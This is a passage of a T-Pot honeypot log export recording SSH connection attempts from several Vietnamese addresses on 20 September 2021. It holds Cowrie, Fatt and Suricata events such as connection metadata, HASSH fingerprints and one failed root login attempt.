"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25888	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:03.860274+03	2021-09-20 14:15:12.563647+03	{"_id": "owbmAnwBvYTbRNuE-x0g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43194, "timestamp": "2021-09-20T11:11:03.860274", "@timestamp": "2021-09-20T11:11:03.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25889	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:03.857904+03	2021-09-20 14:15:12.565644+03	{"_id": "pgbmAnwBvYTbRNuE-x2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c08df8e155e9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:03.857904Z", "@timestamp": "2021-09-20T11:11:03.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25890	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:04.911841+03	2021-09-20 14:15:12.567646+03	{"_id": "sQbmAnwBvYTbRNuE_x2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c08df8e155e9", "@version": "1", "timestamp": "2021-09-20T11:11:04.911841Z", "@timestamp": "2021-09-20T11:11:04.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25891	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:04.960098+03	2021-09-20 14:15:12.568646+03	{"_id": "sgbmAnwBvYTbRNuE_x2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "5191d115c24d", "@version": "1", "duration": 4.0719969272613525, "timestamp": "2021-09-20T11:11:04.960098Z", "@timestamp": "2021-09-20T11:11:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25892	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:00.890457+03	2021-09-20 14:15:12.569645+03	{"_id": "cwbmAnwBvYTbRNuE7x1m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35942, "timestamp": "2021-09-20T11:11:00.890457", "@timestamp": "2021-09-20T11:11:00.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25893	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:00.88565+03	2021-09-20 14:15:12.571647+03	{"_id": "gAbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35942 (192.168.176.2:22) [session: 5191d115c24d]", "session": "5191d115c24d", "@version": "1", "protocol": "ssh", "src_port": 35942, "dest_port": 22, "timestamp": "2021-09-20T11:11:00.885650Z", "@timestamp": "2021-09-20T11:11:00.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25894	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:00.794454+03	2021-09-20 14:15:12.572646+03	{"_id": "fQbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "3bf807a96dc4", "@version": "1", "duration": 4.430689096450806, "timestamp": "2021-09-20T11:11:00.794454Z", "@timestamp": "2021-09-20T11:11:00.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25895	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:01.291262+03	2021-09-20 14:15:12.573646+03	{"_id": "fgbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "2d1d9cb331d3", "@version": "1", "duration": 3.1615302562713623, "timestamp": "2021-09-20T11:11:01.291262Z", "@timestamp": "2021-09-20T11:11:01.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25896	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:01.436406+03	2021-09-20 14:15:12.574646+03	{"_id": "fwbmAnwBvYTbRNuE7x38", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "76d3f2da24b9", "@version": "1", "duration": 3.4822678565979004, "timestamp": "2021-09-20T11:11:01.436406Z", "@timestamp": "2021-09-20T11:11:01.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25897	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:01.437556+03	2021-09-20 14:15:12.576646+03	{"_id": "iwbmAnwBvYTbRNuE8h0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1032604296188079, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:11:01.437556Z", "@timestamp": "2021-09-20T11:11:01.437Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25898	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:01.492725+03	2021-09-20 14:15:12.577646+03	{"_id": "jgbmAnwBvYTbRNuE8x1P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:11:01.492725", "@timestamp": "2021-09-20T11:11:01.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25899	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:02.411728+03	2021-09-20 14:15:12.578645+03	{"_id": "kQbmAnwBvYTbRNuE8x3i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40212 (192.168.176.2:22) [session: 33f108df7e24]", "session": "33f108df7e24", "@version": "1", "protocol": "ssh", "src_port": 40212, "dest_port": 22, "timestamp": "2021-09-20T11:11:02.411728Z", "@timestamp": "2021-09-20T11:11:02.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25900	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:02.414575+03	2021-09-20 14:15:12.580647+03	{"_id": "lQbmAnwBvYTbRNuE8x3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "33f108df7e24", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:02.414575Z", "@timestamp": "2021-09-20T11:11:02.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25901	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:02.475432+03	2021-09-20 14:15:12.581646+03	{"_id": "lgbmAnwBvYTbRNuE8x3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/1q2w3e] failed", "session": "35441b91800d", "@version": "1", "password": "1q2w3e", "username": "root", "timestamp": "2021-09-20T11:11:02.475432Z", "@timestamp": "2021-09-20T11:11:02.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25902	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:02.695393+03	2021-09-20 14:15:12.582645+03	{"_id": "lwbmAnwBvYTbRNuE9h0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 21955541862104, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40212, "dest_port": 22, "timestamp": "2021-09-20T11:11:02.695393Z", "@timestamp": "2021-09-20T11:11:02.695Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:02.416681+03	2021-09-20 14:15:12.583644+03	{"_id": "mQbmAnwBvYTbRNuE9x04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 